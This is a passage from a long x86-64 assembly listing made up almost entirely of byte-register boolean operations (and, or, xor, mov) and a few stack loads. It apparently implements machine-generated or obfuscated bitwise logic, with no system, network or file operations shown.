or al, cl
mov ecx, eax
xor cl, 1
mov r9d, r11d
and r9b, al
and cl, r10b
or cl, r9b
or al, r10b
xor al, 1
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
mov r9d, ecx
xor r9b, 1
mov eax, ecx
and al, r9b
xor cl, al
xor al, 1
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
or cl, al
xor cl, 1
mov r9d, eax
and r9b, cl
xor cl, al
or cl, r9b
xor r10b, r11b
or r10b, r8b
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov r8d, ebx
xor r8b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r8b
or al, bl
xor dl, al
mov r8d, eax
and r8b, bl
xor al, bl
or al, r8b
mov ebx, edx
xor bl, 1
xor dl, al
or al, bl
xor dl, 1
xor al, 1
or al, dl
mov r9d, ecx
xor r9b, 1
mov ebx, r10d
xor bl, 1
and cl, r9b
xor cl, 1
mov r8d, r9d
xor r8b, cl
or cl, r9b
mov edx, r9d
xor r9b, bl
or dl, bl
xor dl, 1
or dl, r9b
xor cl, 1
or cl, r8b
and bl, r10b
mov r8d, r10d
and r8b, bl
xor bl, r10b
or bl, r8b
mov r8d, ecx
xor r8b, 1
and r8b, bl
xor bl, 1
and bl, cl
or bl, r8b
xor dl, 1
xor bl, dl
mov ecx, ebx
xor cl, 1
and cl, dl
mov edx, ecx
and dl, bl
xor cl, bl
or cl, dl
mov r9d, eax
xor r9b, 1
mov edx, r9d
and dl, al
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
mov ebx, ecx
xor bl, 1
xor dl, bl
xor dl, 1
or dl, bl
and bl, al
and cl, r9b
or bl, cl
xor r9b, bl
and r9b, bl
mov r8d, r9d
xor r8b, 1
mov ebx, r9d
and bl, r8b
mov ecx, ebx
xor bl, r9b
xor cl, 1
or cl, r8b
xor cl, 1
or cl, bl
xor cl, dl
mov ebx, edx
and bl, r8b
xor r8b, dl
or r8b, bl
mov edx, ecx
xor dl, r8b
or r8b, cl
xor r8b, 1
or r8b, dl
xor r14b, 1
mov ecx, r14d
movzx eax, byte [rsp + 0x32]
xor cl, al
or r14b, al
xor r14b, 1
or r14b, cl
mov edi, r12d
and dil, r15b
mov esi, r15d
and sil, dil
mov r9d, r15d
xor r9b, dil
or sil, r9b
mov edx, esi
xor dl, 1
or r15b, r12b
mov eax, r15d
xor al, 1
and al, dl
and sil, r15b
or sil, al
mov eax, edx
and al, r15b
xor r15b, dl
or r15b, al
mov eax, esi
xor al, r15b
xor sil, 1
or sil, r15b
xor al, 1
xor sil, 1
or sil, al
mov r10d, r14d
xor r10b, 1
mov eax, r10d
and al, r14b
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
xor al, 1
mov edx, eax
and dl, r10b
xor al, r10b
or al, dl
movzx ebx, byte [rsp + 0x58]
mov edx, ebx
movzx ecx, byte [rsp + 0x50]
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov r11d, ecx
xor r11b, dl
or dl, cl
xor dl, 1
or dl, r11b
xor dil, 1
or dil, r12b
xor dil, 1
or dil, r9b
mov ecx, edi
xor cl, 1
and dil, cl
mov r9d, ecx
and r9b, dil
xor dil, cl
or dil, r9b
xor al, 1
mov r9d, edx
xor r9b, 1
mov ebx, eax
or bl, dl
xor bl, 1
xor dl, al
or bl, dl
or r9b, al
and dl, al
xor r9b, 1
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
xor bl, 1
xor dl, bl
mov eax, edx
xor al, 1
and bl, al
mov ecx, ebx
xor bl, dl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, edi
xor al, 1
or al, dil
xor al, 1
xor dil, al
mov edx, edi
xor dl, 1
and al, dl
mov ebx, eax
xor al, dil
xor bl, 1
or bl, dl
xor bl, 1
or bl, al
mov r9d, ecx
xor r9b, 1
mov eax, r9d
and al, cl
mov edx, eax
xor dl, 1
mov r11d, ecx
xor r11b, dl
or cl, dl
xor cl, 1
or cl, r11b
and al, cl
xor cl, 1
and cl, dl
or cl, al
mov eax, edx
and al, r9b
xor dl, r9b
or dl, al
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov r9d, ebx
xor r9b, 1
mov eax, ebx
or al, r9b
mov ecx, eax
xor cl, 1
and bl, al
or al, r9b
and cl, r9b
or cl, bl
mov ebx, eax
xor bl, cl
xor cl, 1
or cl, al
xor bl, 1
xor cl, 1
or cl, bl
xor cl, 1
mov r9d, edx
xor r9b, cl
or cl, dl
xor r9b, 1
and r9b, dl
xor cl, 1
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
xor r14b, sil
mov ecx, r14d
xor cl, 1
mov eax, ecx
xor al, r10b
and al, cl
and r14b, sil
or r10b, sil
mov ecx, r14d
xor cl, r10b
xor r14b, 1
or r14b, r10b
xor cl, 1
xor r14b, 1
or r14b, cl
mov r10d, eax
xor r10b, 1
mov ecx, eax
and cl, r10b
mov edx, ecx
xor cl, al
xor dl, 1
or dl, r10b
xor dl, 1
or dl, cl
mov eax, r14d
xor al, 1
mov ebx, r14d
and bl, al
mov ecx, ebx
xor bl, r14b
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, ecx
xor dl, al
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov ebx, eax
and bl, dl
xor bl, 1
mov r10d, edx
xor r10b, bl
or bl, dl
xor bl, 1
or bl, r10b
xor bl, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, edx
or cl, al
xor dl, cl
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, r9d
xor al, 1
mov edx, eax
and dl, cl
mov ebx, eax
xor bl, cl
or bl, dl
mov edx, ecx
or cl, r9b
xor dl, 1
or al, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
xor al, 1
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
and dl, cl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
or cl, dl
mov edx, ebx
xor dl, 1
xor bl, cl
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, ecx
xor bl, al
or bl, cl
and cl, dl
xor cl, 1
mov r9d, edx
xor r9b, cl
or cl, dl
xor cl, 1
or cl, r9b
mov edx, ebx
xor dl, 1
xor cl, al
mov eax, ecx
xor al, 1
and cl, bl
or bl, al
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
or al, bl
xor al, 1
or al, cl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
mov ebx, edx
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, 1
and al, bl
or bl, dl
and cl, dl
or cl, al
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
xor cl, dl
xor cl, 1
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov r9d, r8d
xor r9b, 1
mov edx, r9d
and dl, r8b
mov ebx, r9d
and bl, dl
xor dl, r9b
or dl, bl
mov ebx, ecx
xor bl, 1
mov eax, edx
xor al, bl
and al, dl
mov r10d, edx
xor r10b, 1
and r10b, cl
and dl, bl
or dl, r10b
xor al, 1
xor dl, 1
mov r10d, eax
xor r10b, dl
or dl, al
xor dl, 1
or dl, r10b
mov eax, ebx
xor al, r9b
or al, cl
and cl, r8b
and bl, r9b
or cl, bl
xor cl, 1
or cl, r9b
mov r8d, ecx
xor r8b, 1
and r8b, al
xor al, 1
mov ebx, eax
xor bl, cl
and bl, al
and cl, al
mov eax, edx
xor al, 1
or cl, r8b
xor bl, 1
xor cl, 1
mov r8d, ebx
xor r8b, cl
or cl, bl
xor cl, 1
or cl, r8b
mov r8d, eax
xor r8b, cl
mov ebx, edx
and bl, al
or al, cl
xor al, 1
or al, r8b
mov r8d, edx
and r8b, bl
xor bl, dl
mov r9d, ecx
xor r9b, 1
and r9b, cl
or bl, r8b
xor r9b, 1
mov edx, ecx
xor dl, r9b
or r9b, cl
movzx r8d, byte [rsp + 0x38]
mov r10d, r8d
xor r10b, 1
xor r9b, 1
or r9b, dl
mov ecx, ebx
xor cl, 1
and cl, r9b
xor r9b, 1
and r9b, bl
or r9b, cl
xor r9b, 1
mov ecx, eax
or cl, r9b
xor r9b, al
mov eax, ecx
xor al, r9b
xor r9b, 1
xor al, 1
or r9b, cl
xor r9b, 1
or r9b, al
mov r15d, r10d
or r15b, r8b
mov r8d, r15d
xor r8b, 1
mov eax, r10d
and al, r8b
mov ecx, r10d
xor cl, r8b
or cl, al
mov ebx, ecx
xor bl, 1
mov r12d, ebx
and r12b, cl
xor bl, r12b
xor r12b, 1
or r12b, cl
xor r12b, 1
or r12b, bl
movzx eax, byte [rsp + 0x54]
mov esi, eax
xor sil, 1
mov edi, eax
and dil, sil
mov ecx, edi
xor cl, 1
mov ebx, ecx
xor bl, sil
or cl, sil
xor cl, 1
or cl, bl
mov ebp, esi
or bpl, al
mov r14d, ebp
xor r14b, 1
mov ebx, r14d
and bl, bpl
mov r11d, ebx
and r11b, r14b
xor bl, r14b
or bl, r11b
mov r11d, ecx
xor r11b, 1
and r11b, bl
xor bl, 1
and bl, cl
or bl, r11b
mov r11d, esi
xor r11b, bpl
mov ecx, eax
or cl, r14b
xor cl, 1
or cl, r11b
xor cl, 1
mov r11d, ebx
and r11b, cl
xor cl, bl
or cl, r11b
mov r13d, r12d
xor r13b, 1
mov eax, r12d
and al, r13b
xor al, 1
mov r11d, r13d
xor r11b, al
or al, r13b
xor al, 1
or al, r11b
mov r11d, r12d
or r11b, r13b
mov edx, r11d
xor dl, 1
mov ebx, r11d
and bl, dl
xor r12b, r11b
xor r11b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r11b
mov r11d, eax
xor r11b, 1
and r11b, bl
xor bl, 1
and bl, al
or bl, r11b
or dl, r13b
xor dl, 1
or dl, r12b
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor cl, 1
mov eax, edx
xor al, cl
xor al, 1
and al, dl
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov r11d, eax
movzx ebx, byte [rsp + 0x54]
xor r11b, bl
and r11b, al
xor al, 1
mov ecx, ebx
xor cl, al
xor cl, 1
and cl, bl
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
mov ecx, r11d
xor r11b, al
xor cl, 1
xor r11b, 1
or r11b, cl
mov eax, ebx
and al, dil
xor dil, bl
or dil, al
xor r14b, sil
or bpl, sil
xor bpl, 1
xor r14b, 1
mov eax, ebp
and al, r14b
xor r14b, bpl
or r14b, al
mov eax, edi
xor al, 1
mov ecx, edi
and cl, al
xor al, dil
or al, cl
movzx ebx, byte [rsp + 0x38]
mov ecx, ebx
and cl, r10b
mov edx, ebx
xor dl, cl
xor cl, 1
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, r8b
and r15b, cl
or r15b, dl
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
mov edx, r15d
xor dl, cl
xor r15b, 1
or r15b, cl
xor dl, 1
xor r15b, 1
or r15b, dl
mov ecx, r15d
xor cl, 1
and r15b, cl
mov edx, ecx
and dl, r15b
xor r15b, cl
or r15b, dl
mov edx, r15d
and dl, cl
xor r15b, cl
or r15b, dl
xor r10b, bl
or r10b, r8b
mov edx, r14d
xor dl, 1
mov r12d, eax
xor r12b, 1
mov ebx, edx
xor bl, al
and al, r14b
or r14b, r12b
xor r14b, 1
or r14b, bl
and r12b, dl
or r12b, al
mov eax, r14d
xor al, r12b
xor r12b, 1
or r12b, r14b
mov edx, r12d
xor dl, al
or r12b, al
mov eax, r15d
xor al, 1
xor r12b, 1
or r12b, dl
and al, r15b
mov edx, r15d
and dl, al
xor al, r15b
or al, dl
mov edi, eax
xor dil, 1
mov esi, eax
and sil, dil
mov r8d, esi
and r8b, al
mov ebx, esi
xor bl, al
or bl, r8b
mov r8d, ebx
xor r8b, 1
or al, dil
xor bl, al
or al, r8b
xor bl, 1
xor al, 1
or al, bl
mov r8d, r10d
xor r8b, 1
mov edx, r10d
xor dl, r8b
and dl, r10b
mov ebx, edx
xor bl, 1
and bl, dl
mov ebp, ebx
and bpl, dl
xor bl, dl
or bl, bpl
mov ebp, r8d
or bpl, r10b
mov r14d, ebx
and bl, bpl
xor bpl, 1
xor r14b, 1
and r14b, bpl
or bl, r14b
mov r14d, edx
xor r14b, bpl
or bpl, dl
xor bpl, 1
or bpl, r14b
mov edx, ebx
xor dl, bpl
xor bl, 1
or bl, bpl
xor dl, 1
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
or dl, al
xor al, 1
or al, bl
xor dl, 1
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, edi
and dl, sil
xor sil, dil
or sil, dl
mov ebp, edi
and bpl, r8b
xor dil, r8b
mov ebx, r8d
and bl, r10b
xor bl, 1
mov edx, r10d
xor dl, bl
or bl, r10b
xor bl, 1
or bl, dl
mov edx, esi
xor dl, 1
and dl, bl
xor bl, 1
and bl, sil
or bl, dl
or dil, bpl
xor bl, 1
mov edx, ebx
xor dl, dil
or bl, dil
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r8d, ecx
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
xor bl, 1
xor r8b, bl
xor dl, bl
xor dl, 1
xor r8b, 1
or bl, al
xor bl, 1
or bl, r8b
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov ecx, r12d
xor cl, 1
mov eax, ecx
xor al, bl
mov edx, ebx
xor dl, 1
and r12b, dl
and bl, cl
or bl, r12b
mov r8d, r11d
xor r8b, 1
xor bl, 1
or bl, dl
or al, cl
mov ecx, ebx
or cl, al
xor cl, 1
xor al, bl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, r8d
and cl, r11b
mov edx, r8d
xor dl, cl
xor cl, 1
or cl, r11b
xor cl, 1
or cl, dl
xor cl, 1
or r8b, r11b
xor r8b, 1
mov edx, ecx
and dl, r8b
xor r8b, cl
or r8b, dl
mov r10d, eax
xor r10b, 1
mov esi, eax
or sil, r10b
mov ecx, esi
xor cl, 1
mov edx, eax
or dl, sil
and cl, al
and sil, r10b
or sil, cl
xor sil, 1
mov ecx, edx
xor cl, sil
or sil, dl
xor sil, 1
or sil, cl
mov r11d, esi
xor r11b, 1
mov ebp, r11d
and bpl, sil
mov ebx, r11d
and bl, bpl
mov r14d, r11d
xor r14b, bpl
or r14b, bl
mov ebx, r14d
xor bl, 1
and r14b, bl
mov edi, ebx
and dil, r14b
xor r14b, bl
or r14b, dil
mov ebx, r10d
and bl, al
mov edi, r10d
and dil, bl
xor bl, r10b
or bl, dil
xor bl, 1
xor al, bl
xor bl, al
and bl, al
mov r10d, r8d
xor r10b, 1
mov eax, r8d
or al, r10b
mov edi, eax
xor dil, 1
mov ecx, r10d
xor cl, al
mov edx, r8d
xor dl, r10b
or dl, dil
and dil, r8b
and al, r10b
or al, dil
and cl, r10b
mov edi, ecx
xor dil, 1
xor cl, al
xor al, 1
or al, dil
xor al, 1
or al, cl
mov edi, eax
xor dil, 1
mov ecx, edi
and cl, al
xor dil, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dil
mov eax, edx
xor al, 1
and dl, al
mov edi, eax
and dil, dl
xor dl, al
or dl, dil
mov edi, ecx
xor dil, 1
mov eax, edx
xor al, 1
and dl, al
mov r15d, eax
and r15b, dl
xor dl, al
mov r12d, edi
and r12b, al
xor al, dil
and dil, cl
xor dil, 1
mov r13d, ecx
xor r13b, dil
or dil, cl
xor dil, 1
or dil, r13b
or dl, r15b
xor dl, dil
or al, r12b
mov ecx, edx
xor cl, 1
xor dl, al
or al, cl
xor dl, 1
xor al, 1
or al, dl
mov edi, r14d
xor dil, 1
xor bl, 1
mov edx, edi
and dl, r14b
xor r14b, bl
mov ecx, r14d
xor cl, dil
and cl, r14b
mov r14d, edi
and r14b, dl
xor dl, dil
or dl, r14b
xor dl, bl
mov ebx, edx
xor bl, 1
and dl, bl
mov edi, ebx
and dil, dl
xor dl, bl
or dl, dil
mov edi, edx
and dil, cl
xor cl, 1
xor dl, 1
and dl, cl
or dl, dil
mov edi, ecx
and dil, bl
xor cl, bl
or cl, dil
mov ebx, edx
xor bl, cl
xor dl, 1
or dl, cl
xor bl, 1
xor dl, 1
or dl, bl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
mov edi, ebx
and dil, cl
xor cl, bl
or cl, dil
xor bl, dl
xor dl, 1
xor cl, 1
mov edi, edx
and dil, cl
xor cl, dl
or cl, dil
or dl, al
xor dl, 1
or dl, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or bl, dl
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, r10d
and al, r8b
xor r10b, al
xor al, 1
or al, r8b
xor al, 1
or al, r10b
xor bpl, 1
mov ecx, esi
xor cl, bpl
or bpl, sil
xor bpl, 1
or bpl, cl
mov r14d, eax
xor r14b, 1
or r11b, sil
mov r8d, eax
xor r8b, r14b
and r8b, al
mov edx, r8d
xor dl, 1
and dl, r8b
mov r10d, edx
and r10b, r8b
xor dl, r8b
or dl, r10b
mov r8d, ebp
xor r8b, 1
mov r10d, ebp
xor r10b, r8b
and r10b, bpl
mov esi, r11d
xor sil, 1
mov edi, r10d
xor dil, r11b
and dil, r10b
and r11b, r10b
xor r10b, 1
and r10b, sil
or r11b, r10b
mov r10d, edi
and r10b, r11b
xor r11b, dil
or r11b, r10b
xor dl, 1
mov ecx, r11d
xor cl, dl
xor cl, 1
and cl, r11b
or dl, r11b
mov r10d, ecx
xor r10b, dl
xor cl, 1
or cl, dl
xor r10b, 1
xor cl, 1
or cl, r10b
mov edx, eax
and dl, r14b
mov r10d, edx
and r10b, al
xor dl, al
or dl, r10b
and bpl, r8b
xor bpl, 1
mov eax, ebp
xor al, r8b
or bpl, r8b
xor bpl, 1
or bpl, al
xor bpl, dl
xor bpl, 1
mov eax, r14d
and al, r8b
xor r14b, r8b
or r14b, al
mov eax, ebp
xor al, r14b
or r14b, bpl
xor r14b, 1
or r14b, al
xor cl, 1
mov eax, ecx
or al, r14b
xor cl, r14b
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
or al, cl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov r8d, ecx
and r8b, dl
xor dl, cl
or dl, r8b
xor al, dl
xor dl, al
and dl, al
mov eax, ebx
xor al, 1
and bl, al
mov ecx, eax
and cl, bl
xor bl, al
or bl, cl
mov r8d, edx
xor r8b, 1
mov r11d, ebx
xor r11b, 1
mov ecx, r11d
and cl, bl
xor cl, 1
mov r10d, ecx
xor r10b, r11b
or cl, r11b
xor cl, 1
or cl, r10b
mov eax, r8d
xor al, dl
and al, r8b
mov r10d, ebx
xor r10b, dl
and r10b, bl
and bl, dl
or dl, r8b
xor al, 1
mov esi, eax
or sil, dl
xor al, dl
xor sil, 1
mov edx, esi
and dl, al
xor al, sil
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov esi, edx
and sil, al
xor al, dl
or al, sil
mov edx, eax
and dl, cl
xor cl, 1
xor al, 1
and al, cl
or al, dl
and r11b, r8b
or bl, r11b
mov ecx, r10d
and cl, bl
xor bl, r10b
or bl, cl
mov ecx, ebx
xor cl, 1
mov r8d, eax
xor r8b, 1
and bl, al
and r8b, cl
or r8b, bl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor r8b, 1
mov eax, r8d
xor al, cl
or r8b, cl
xor r8b, 1
or r8b, al
mov r11d, r9d
xor r11b, 1
mov esi, r11d
or sil, r9b
mov r10d, esi
xor r10b, 1
mov ecx, r11d
xor cl, r10b
mov edx, ecx
xor dl, 1
and dl, r11b
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor cl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
mov ebx, edx
and bl, cl
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
or cl, dl
xor bl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, r11d
and al, r9b
mov ecx, r11d
xor cl, al
xor al, 1
or al, r9b
xor al, 1
or al, cl
xor al, 1
mov ecx, eax
and cl, r11b
xor al, r11b
or al, cl
mov ebx, edx
xor bl, 1
mov edi, ebx
and dil, al
mov ebp, ebx
xor bpl, al
or bpl, dil
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
xor al, cl
mov ecx, ebp
xor cl, al
xor al, 1
or al, bpl
xor al, 1
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, ecx
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
or bl, al
mov ecx, edx
xor cl, 1
and cl, bl
xor bl, 1
and dl, bl
or dl, cl
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov eax, edx
xor al, bl
xor dl, 1
or dl, bl
xor al, 1
xor dl, 1
or dl, al
mov edi, edx
xor dil, 1
mov eax, edx
xor al, dil
and al, dl
mov ebx, eax
xor bl, 1
mov ecx, eax
and cl, bl
mov ebp, ecx
and bpl, al
xor cl, al
or cl, bpl
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
and al, dil
and dl, bl
or dl, al
mov eax, ebx
and al, dil
xor bl, dil
or bl, al
xor bl, 1
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov eax, ebx
xor al, 1
mov edi, ebx
and dil, al
xor dil, 1
mov ecx, edi
xor cl, al
or dil, al
xor dil, 1
or dil, cl
mov edx, eax
or dl, bl
mov ecx, edx
xor dl, al
xor cl, 1
xor dil, cl
or cl, bl
xor cl, 1
or cl, dl
mov eax, edi
xor al, cl
xor dil, 1
or dil, cl
xor al, 1
xor dil, 1
or dil, al
and r10b, r9b
or r9b, sil
xor r9b, 1
and sil, r11b
or sil, r10b
mov eax, r9d
and al, sil
xor sil, r9b
or sil, al
mov eax, esi
xor al, 1
mov ecx, esi
or cl, al
mov edx, ecx
xor dl, 1
and sil, cl
or cl, al
xor cl, 1
and dl, al
or dl, sil
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov ecx, edx
xor cl, 1
mov r11d, edx
or r11b, cl
mov eax, r11d
xor al, 1
and al, dl
or dl, r11b
xor dl, 1
and r11b, cl
or r11b, al
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov ecx, r8d
xor cl, 1
mov r14d, ecx
and r14b, r8b
mov edx, ecx
and dl, r14b
mov r9d, ecx
xor r9b, r14b
or r9b, dl
mov r10d, r9d
xor r10b, 1
mov edx, r8d
or dl, cl
mov ebx, edx
xor bl, 1
mov esi, r10d
xor sil, dl
and dl, bl
xor dl, 1
mov ebp, ebx
xor bpl, dl
or dl, bl
xor dl, 1
or dl, bpl
mov ebp, edx
and bpl, r9b
xor dl, 1
and dl, r10b
or dl, bpl
or bl, r9b
xor bl, 1
or bl, sil
mov eax, edx
xor al, bl
xor dl, 1
or dl, bl
xor al, 1
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
xor dl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
mov ebp, ebx
xor bpl, 1
xor cl, r8b
or r14b, cl
mov esi, ebx
xor sil, r14b
mov r15d, esi
xor r15b, bpl
and r15b, sil
mov esi, r14d
xor sil, 1
mov edx, esi
and dl, r14b
mov eax, edx
xor dl, sil
xor al, 1
or al, r14b
xor al, 1
or al, dl
and bpl, al
xor al, 1
and al, bl
or al, bpl
xor al, r15b
mov r14d, eax
xor r14b, 1
and r14b, r15b
mov ebx, r14d
and bl, al
xor r14b, al
or r14b, bl
mov ebp, r14d
xor bpl, 1
mov ebx, ebp
and bl, r14b
mov esi, ebp
and sil, bl
xor bl, bpl
or bl, sil
mov edx, ebx
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
mov ebx, edx
and bl, al
xor bl, 1
mov esi, eax
xor sil, bl
or bl, al
xor bl, 1
or bl, sil
mov esi, ebx
xor sil, 1
and sil, bpl
and bl, r14b
or bl, sil
xor dl, bpl
or al, r14b
xor al, 1
or al, dl
xor bl, 1
mov edx, ebx
xor dl, al
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
mov esi, ebx
and sil, al
mov edx, esi
xor dl, 1
xor sil, bl
or dl, al
xor dl, 1
or dl, sil
xor al, r14b
xor dl, bpl
or bl, bpl
xor bl, 1
or bl, al
mov eax, edx
xor al, 1
xor dl, bl
or bl, al
xor dl, 1
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
and cl, r8b
mov r8d, r10d
or r8b, r9b
mov eax, r8d
xor al, 1
mov edx, eax
and dl, r8b
mov esi, edx
and sil, al
xor dl, al
or dl, sil
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov esi, ecx
xor sil, al
or cl, al
xor cl, 1
or cl, sil
xor cl, dl
mov edx, r8d
and dl, al
xor al, r8b
or al, dl
mov edx, ecx
xor dl, 1
xor cl, al
or al, dl
xor cl, 1
xor al, 1
or al, cl
or r10b, al
xor r10b, 1
xor r9b, al
and r9b, al
mov ecx, r10d
and cl, r9b
xor r9b, r10b
mov edx, edi
xor dl, 1
xor r11b, 1
or r9b, cl
mov r8d, edi
xor r9b, 1
xor al, r9b
xor r9b, al
and r9b, al
mov ecx, edx
xor cl, r11b
xor dil, cl
xor dil, 1
mov eax, r11d
and al, dl
or al, cl
or cl, dl
xor cl, 1
or cl, dil
xor r8b, r11b
xor r8b, 1
or r11b, dl
xor r11b, 1
or r11b, r8b
mov edx, eax
and dl, r11b
xor r11b, al
or dl, r11b
xor dl, 1
mov eax, r11d
and al, dl
xor dl, r11b
or dl, al
mov esi, edx
xor sil, 1
mov r10d, esi
and r10b, dl
mov r8d, esi
and r8b, r10b
xor r10b, sil
or r10b, r8b
mov r11d, ecx
xor r11b, 1
xor sil, dl
and sil, dl
mov edx, ecx
and dl, r11b
xor dl, 1
mov r8d, r11d
xor r8b, dl
or dl, r11b
xor dl, 1
or dl, r8b
mov eax, ecx
or al, r11b
mov r8d, eax
xor r8b, 1
and r8b, dl
xor dl, 1
and dl, al
or dl, r8b
mov r8d, eax
and r8b, cl
xor al, cl
or al, r8b
xor al, 1
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov r8d, esi
xor r8b, 1
mov edx, r8d
or dl, sil
xor sil, dl
or dl, r8b
xor sil, 1
xor dl, 1
or dl, sil
mov esi, edx
xor sil, 1
and sil, dl
mov r8d, esi
and r8b, dl
xor sil, dl
or sil, r8b
xor sil, al
mov r8d, r10d
xor r8b, 1
mov eax, r10d
and al, r8b
mov edx, eax
xor al, r10b
xor dl, 1
or dl, r8b
xor dl, 1
or dl, al
mov eax, edx
xor dl, 1
and dl, cl
and al, r11b
or dl, al
mov eax, r11d
and al, r8b
xor r8b, r11b
mov ecx, ebx
xor cl, 1
or r8b, al
xor r8b, 1
mov eax, edx
and al, r8b
xor r8b, dl
or r8b, al
mov eax, r8d
xor al, 1
mov edx, esi
xor dl, r8b
and dl, sil
and r8b, sil
xor sil, 1
and sil, al
or r8b, sil
mov eax, edx
xor al, 1
xor dl, r8b
xor r8b, 1
or r8b, al
xor r8b, 1
or r8b, dl
mov eax, ebx
or al, cl
mov r11d, eax
xor r11b, 1
and r11b, al
xor r11b, 1
mov edx, r11d
xor dl, al
or r11b, al
xor r11b, 1
or r11b, dl
xor r11b, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor r11b, 1
mov ecx, r11d
xor cl, al
